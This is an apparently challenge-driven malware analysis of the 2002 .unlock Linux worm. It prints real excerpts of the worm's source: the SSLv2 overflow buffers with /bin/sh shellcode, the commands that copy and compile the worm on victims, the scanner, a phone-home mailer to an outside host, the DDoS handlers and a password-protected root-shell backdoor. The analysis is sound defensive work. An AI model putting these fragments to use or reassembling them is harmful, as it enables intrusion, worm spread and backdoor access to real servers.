All analysis was done using a computer running the Linux operating system. The following standard utilities were used:
First, I downloaded the .unlock file. I renamed it to _unlock, because files starting with a period are normally hidden in UNIX. Working with hidden files can be irksome. Next, I verified the MD5 checksum given on the web page to ensure that I had an exact copy of the file. I cut and pasted the checksum into the md5sum --check command.
$ md5sum --check <paste>a03b5be9264651ab30f2223592befb42 _unlock</paste> _unlock: OK
Verifying the SHA1 hash was somewhat inconvenient, since I don't have a tool that does so automatically. I pasted the checksum value into a file and compared it with the output of openssl sha1.
$ echo "SHA1(_unlock)= 4b018cdfdbcf71ddaa789e8ecc9ed7700660021a" >sha1 $ openssl sha1 _unlock | diff - sha1
No output means no differences. Good, the checksums match.
My next step was to use the file utility to determine what was in the file.
$ file _unlock _unlock: gzip compressed data, deflated, last modified: Fri Sep 20 03:59:04 2002, os: Unix
I then used gunzip to uncompress the file, and file once again to see what the results were. This answers question 1.
$ gunzip -c _unlock >_unlock.unzip $ file _unlock.unzip _unlock.unzip: GNU tar archive
Finally, I used tar to display and then extract the contents of the archive.
$ tar tvf _unlock.unzip -rw-r--r-- root/wheel 70981 2002-09-20 06:28:11 .unlock.c -rw-r--r-- root/wheel 2792 2002-09-19 14:57:48 .update.c $ tar xvf _unlock.unzip .unlock.c .update.c $ mv .unlock.c _unlock.c $ mv .update.c _update.c
The timestamp for .unlock.c answers part of question 2. The apparent authors of the worm identified themselves in a comment in the beginning of that file (line numbers are given on the left).
1 /**************************************************************************** 2 * * 3 * Peer-to-peer UDP Distributed Denial of Service (PUD) * 4 * by contem@efnet * ... 38 * some modification done by aion (aion@ukr.net) * 39 ****************************************************************************/
Line 71 contains a define macro that completes the answer to question 2. It seems to be the date of creation of the worm.
71 #define VERSION 20092002
Line 1805 overwrites the program's first argument (the name of the executable) with the string "httpd ". This is the process name that is displayed in ps listings. This answers question 3.
78 #define PSNAME "httpd " ... 1805 strcpy(argv[0],PSNAME);
Once the worm manages to open a root shell on the target machine, it executes the following code to copy itself to the new machine.
1416 writem(sockfd,"cat > /tmp/.unlock.uu << __eof__; \n"); 1417 zhdr(1); 1418 encode(sockfd); 1419 zhdr(0); 1420 writem(sockfd,"__eof__\n"); 1421 writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu; " 1422 "tar xzf /tmp/.unlock -C /tmp/; " 1423 "gcc -o /tmp/httpd /tmp/.unlock.c -lcrypto; " 1424 "gcc -o /tmp/update /tmp/.update.c;\n"); 1425 sprintf(rcv, "/tmp/httpd %s; /tmp/update; \n",localip); 1426 writem(sockfd,rcv); sleep(3); 1427 writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c " 1428 " /tmp/httpd /tmp/update; exit; \n"); ... 79 #define WORMSRC "/tmp/.unlock" 80 #define UUHEAD "begin 655 .unlock\n" ... 1194 int encode(int a) { 1195 register int ch, n; 1196 register char *p; 1197 char buf[80]; 1198 FILE *in; 1199 if ((in=fopen(WORMSRC,"r")) == NULL) return 0; 1200 writem(a,UUHEAD); 1201 while ((n = fread(buf, 1, 45, in))) { ... 1234 writem(a,"end\n"); 1235 if (in) fclose(in); 1236 return 1; 1237 } ... 84 int zhdr(int flag) 85 { 86 int fd; char *gzh="\x1f\x8b\x08"; 87 char *kgz="\x00\x00\x00"; 88 if((fd=open(WORMSRC,O_WRONLY))==-1) return -1; 89 if(flag) write(fd,gzh,3); 90 else write(fd,kgz,3); 91 close(fd); 92 }
The encode() function encodes the file /tmp/.unlock using the uuencode format. Note that zhdr(0) overwrites the first few bytes of that file with nulls, and zhdr(1) restores them. The output is saved in /tmp/.unlock.uu on the target machine and processed by uudecode to produce a copy of /tmp/.unlock from the original infected machine. The worm source code files are extracted from the archive and compiled, the worm's daemon processes are started, and finally most of the files are deleted. This answers question 4.
The worm's scanning code is shown below. It picks a random class-B-sized net block with its first octet in the classes[] list, then tries to connect to each IP address in the block on port 80. This is the answer to question 5.
67 #define SCANPORT 80 ... 291 unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45, 292 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 293 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 294 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 295 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229, 296 230, 231, 232, 233, 234, 235, 236, 237, 238, 239 }; ... 1908 if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) { 1909 char srv[256]; 1910 if (d == 255) { 1911 if (c == 255) { 1912 a=classes[rand()%(sizeof classes)]; 1913 b=rand(); 1914 c=0; 1915 } 1916 else c++; 1917 d=0; 1918 } 1919 else d++; 1920 memset(srv,0,256); 1921 sprintf(srv,"%d.%d.%d.%d",a,b,c,d); 1922 clients[n].ext=time(NULL); 1923 atcp_sync_connect(&clients[n],srv,SCANPORT); 1924 p++; 1925 }
The worm's exploit code needs to know the address of a certain function in the web server, so it tries to identify the specific server software being used. GetAddress() connects to the web server, requests a page, and looks for a Server header in the response.
1143 char *GetAddress(char *ip) { ... 1154 write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n")); ... 1163 for (d=0;d<n;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: "))) { 1164 char *start=buf+d+strlen("Server: "); 1165 for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0; 1166 cleanup(start); 1167 return strdup(start); 1168 }
Using the information in the Server header, the worm consults a table of known Apache web server builds. This is part of the answer to question 6.
1707 if ((a=GetAddress(ip)) == NULL) exit(0); 1708 if (strncmp(a,"Apache",6)) exit(0); 1709 for (i=0;i<MAX_ARCH;i++) { 1710 if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) { 1711 arch=i; 1712 break; 1713 } 1714 } ... 1241 struct archs { 1242 char *os; 1243 char *apache; 1244 int func_addr; 1245 } architectures[] = { 1246 {"Gentoo", "", 0x08086c34}, 1247 {"Debian", "1.3.26", 0x080863cc}, 1248 {"Red-Hat", "1.3.6", 0x080707ec}, ... 1257 {"SuSE", "1.3.12", 0x0809f54c}, ... 1266 {"Mandrake", "1.3.23", 0x08086580}, 1267 {"Slackware", "1.3.26", 0x083d37fc}, 1268 {"Slackware", "1.3.26",0x080b2100} 1269 };
Next, the worm opens two SSL connections to the target machine. I used Google to locate the SSL specification so that I could follow the protocol exchanges. I found that the worm sends a Client-Hello message requesting an SSL version 2 connection. The protocol version is indicated in bold below.
1547 void send_client_hello(ssl_conn *ssl) { 1548 int i; 1549 unsigned char buf[BUFSIZE] = 1550 "\x01" 1551 "\x00\x02" 1552 "\x00\x18" 1553 "\x00\x00" 1554 "\x00\x10" 1555 "\x07\x00\xc0\x05\x00\x80\x03\x00" 1556 "\x80\x01\x00\x80\x08\x00\x80\x06" 1557 "\x00\x40\x04\x00\x80\x02\x00\x80" 1558 ""; 1559 for (i = 0; i < CHALLENGE_LENGTH; i++) ssl->challenge[i] = (unsigned char) (rand() >> 24); 1560 memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH); 1561 send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH); 1562 }
The function send_client_master_key() copies a suspicious value into the key argument which is sent to the server.
1729 send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1); ... 1278 unsigned char overwrite_session_id_length[] = 1279 "AAAA" 1280 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 1281 "\x70\x00\x00\x00"; ... 1603 void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) { ... 1624 memcpy(p, key_arg_overwrite, key_arg_overwrite_len); 1625 key_arg_length = 8 + key_arg_overwrite_len;
After seeing this, I went to the SecurityFocus Vulnerability Archive to see if I could locate the specific vulnerability being exploited. I discovered that there is a buffer overflow in the handling of the client key in SSL version 2 which effects Apache web servers (BugTraq ID 5363). The OpenSSL patch for this bug adds a check to make sure that the key argument is not larger than the 8-character buffer into which it is copied. This appears to be the vulnerability exploited by the worm.
The second SSL connection is used to send a longer overwriting value into the same vulnerable buffer. This one includes some data that appears to be shellcode -- note the NOP slide and the strings "/bin" and "//sh".
1746 send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1); ... 1283 unsigned char overwrite_next_chunk[] = 1284 "AAAA" 1285 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ... 1311 "\xeb\x0a\x90\x90" 1312 "\x90\x90\x90\x90" 1313 "\x90\x90\x90\x90" ... 1357 "\x31\xc0" 1358 "\x50" 1359 "\x68""//sh" 1360 "\x68""/bin" 1361 "\x89\xe3" 1362 "\x50" 1363 "\x53" 1364 "\x89\xe1" 1365 "\x99" 1366 "\xb0\x0b" 1367 "\xcd\x80";
I wanted to verify that this is in fact shellcode for an Intel x86 processor. To do that, I extracted the entire string overwrite_next_chunk[] into the file shellcode.c and added code to output the string. Then I ran the resulting file through the ndisasm disassembler.
$ gcc shellcode.c $ ./a.out >shellcode $ ndisasm -b32 shellcode >shellcode.txt
The result is in fact x86 shellcode, providing the last detail needed for the answer to question 6. I consulted the Linux kernel source code file arch/i386/kernel/entry.S to translate the system call numbers, and added a few comments. The result is in shellcode.txt.
When the worm starts up on an infected host, it opens a connection to the SMTP port on freemail.ukr.net and sends e-mail to aion@ukr.net. Below is the function that does this.
1802 mailme(argv[1]); zhdr(0); ... 76 #define MAILSRV "freemail.ukr.net" 77 #define MAILTO "aion@ukr.net" ... 94 int mailme(char *sip) 95 { 96 char cmdbuf[256], buffer[128]; 97 int pip; long inet; 98 struct sockaddr_in sck; 99 struct hostent *hp; 100 101 if(!(pip=socket(PF_INET, SOCK_STREAM, 0))) return -1; 102 if((inet=inet_addr(MAILSRV))==-1) 103 { 104 if(hp=gethostbyname(MAILSRV)) 105 memcpy (&inet, hp->h_addr, 4); 106 else return -1; 107 } 108 sck.sin_family = PF_INET; 109 sck.sin_port = htons (25); 110 sck.sin_addr.s_addr = inet; 111 if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1; 112 113 gethostname(buffer,128); 114 sprintf(cmdbuf,"helo test\r\n"); writem(pip, cmdbuf); 115 recv(pip,cmdbuf,sizeof(cmdbuf),0); 116 sprintf(cmdbuf,"mail from: test@microsoft.com\r\n"); writem(pip, cmdbuf); 117 recv(pip,cmdbuf,sizeof(cmdbuf),0); 118 sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n"); writem(pip, cmdbuf); 119 recv(pip,cmdbuf,sizeof(cmdbuf),0); 120 sprintf(cmdbuf,"data\r\n"); writem(pip, cmdbuf); 121 recv(pip,cmdbuf,sizeof(cmdbuf),0); 122 sprintf(cmdbuf," hostid: %d \r\n" 123 " hostname: %s \r\n" 124 " att_from: %s \r\n",gethostid(),buffer,sip); 125 writem(pip, cmdbuf); 126 recv(pip,cmdbuf,sizeof(cmdbuf),0); 127 sprintf(cmdbuf,"\r\n.\r\nquit\r\n"); writem(pip, cmdbuf); 128 recv(pip,cmdbuf,sizeof(cmdbuf),0); 129 return close(pip); 130 }
The mail contains information from gethostid(), gethostname(), and the first argument (argv[1]) given on the command line when the worm is started. That answers question 7, except for one thing: where does argv[1] come from? The following code is executed on the infecting host in order to produce the commands that start the worm.
1409 conv(localip,256,myip); memset(rcv,0,1024); ... 1425 sprintf(rcv, "/tmp/httpd %s; /tmp/update; \n",localip); 1426 writem(sockfd,rcv); sleep(3); ... 789 void conv(char *str,int len,unsigned long server) { 790 memset(str,0,len); 791 strcpy(str,(char*)inet_ntoa(*(struct in_addr*)&server)); 792 }
So the argv[1] value sent in the e-mail is the myip value from the host that infected the new machine. As you might expect, myip contains the IP address of the host. However, the process by which it is set is somewhat convoluted. When the worm starts up, it sends a message with tag 0x70 to each address given on the command line.
1786 initrec.h.tag=0x70; 1787 initrec.h.len=0; 1788 initrec.h.id=0; ... 1794 for (bases=1;bases<argc;bases++) { 1795 cpbases[bases-1]=aresolve(argv[bases]); 1796 relay(cpbases[bases-1],(char*)&initrec,sizeof(struct initsrv_rec)); 1797 }
Upon receiving this message, the original host sends a reply (tag 0x73) containing the IP address the message came from.
2410 case 0x70: { // Incomming client ... 2420 rp.h.tag=0x73; 2421 rp.h.id=0; 2422 rp.ip=udpclient.in.sin_addr.s_addr; 2423 relayclient(&udpclient,(void*)&rp,sizeof(struct myip_rec));
When the new host receives this reply, it uses it to set myip.
2460 case 0x73: { // Get my IP 2461 struct myip_rec *rp=(struct myip_rec *)buf; 2462 if (udpserver.len < sizeof(struct myip_rec)) break; 2463 if (!myip && isreal(rp->ip)) { 2464 myip=rp->ip; 2465 addserver(rp->ip); 2466 } 2467 } break;
The purpose of this extra indirection may be to deal with servers that have IP addresses that are modified by NAT. The server itself doesn't know what its NATted address is, so it has to ask some other machine that sees the modified address.
The worm listens for peer-to-peer messages on UDP port 4156. This answers question 8.
1781 if (audp_listen(&udpserver,PORT) != 0) { ... 66 #define PORT 4156 ... 589 int audp_listen(struct ainst *inst,unsigned int port) { 590 int flag=1; 591 if (inst == NULL) return (AINSTANCE); 592 inst->len=0; 593 if ((inst->sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) { 594 inst->error=ASOCKET; 595 return (ASOCKET); 596 } 597 inst->in.sin_family = AF_INET; 598 inst->in.sin_addr.s_addr = INADDR_ANY; 599 inst->in.sin_port = htons(port); 600 if (bind(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) < 0) { ...
There are a number of distributed denial-of-service attacks built into the worm. A command packet can touch off one of the following:
2205 case 0x29: { // Udp flood 2246 case 0x2A: { // Tcp flood 2279 case 0x2B: { // IPv6 Tcp flood 2308 case 0x2C: { // Dns flood
This answers question 9.
The .update.c program is a simple back door. It binds to TCP port 1052.
4 #define PORT 1052 ... 39 if( (soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) exit(-1); 40 bzero((char *) &serv_addr, sizeof(serv_addr)); 41 serv_addr.sin_family = AF_INET; 42 serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); 43 serv_addr.sin_port = htons(PORT); 44 if( (soc_rc = bind(soc_des, 45 (struct sockaddr *) &serv_addr, sizeof(serv_addr))) != 0) exit(-1);
Next, the update program listens for connections. When a connection is made, the program reads in a password. If the password matches the one compiled into the program, it starts a root shell. This answers question 10.
5 #define PASS "aion1981" ... 54 soc_cli = accept(soc_des, 55 (struct sockaddr *) &client_addr, sizeof(client_addr)); 56 if (soc_cli > 0) 57 { 58 if (!fork()) { 59 dup2(soc_cli,0); 60 dup2(soc_cli,1); 61 dup2(soc_cli,2); 62 read(soc_cli,temp_buff,10); 63 if( !strncmp(temp_buff,PASS,strlen(PASS)) ) 64 execl("/bin/sh","sh -i",(char *)0); 65 closeall(); 66 exit(0); 67 } else wait(&retval); 68 }
The port is not kept open all the time. After opening it, the program listens for UPTIME seconds. Then it closes the port and sleeps for SLEEPTIME seconds. This is apparently an attempt to make it less likely that the operator of the infected system will notice the back door in the list of open ports produced by netstat. This is the answer to the bonus question.
52 for(stimer=time(NULL);(stimer+UPTIME)>time(NULL);) 53 { ... 70 } 71 72 closeall(); 73 sleep(SLEEPTIME);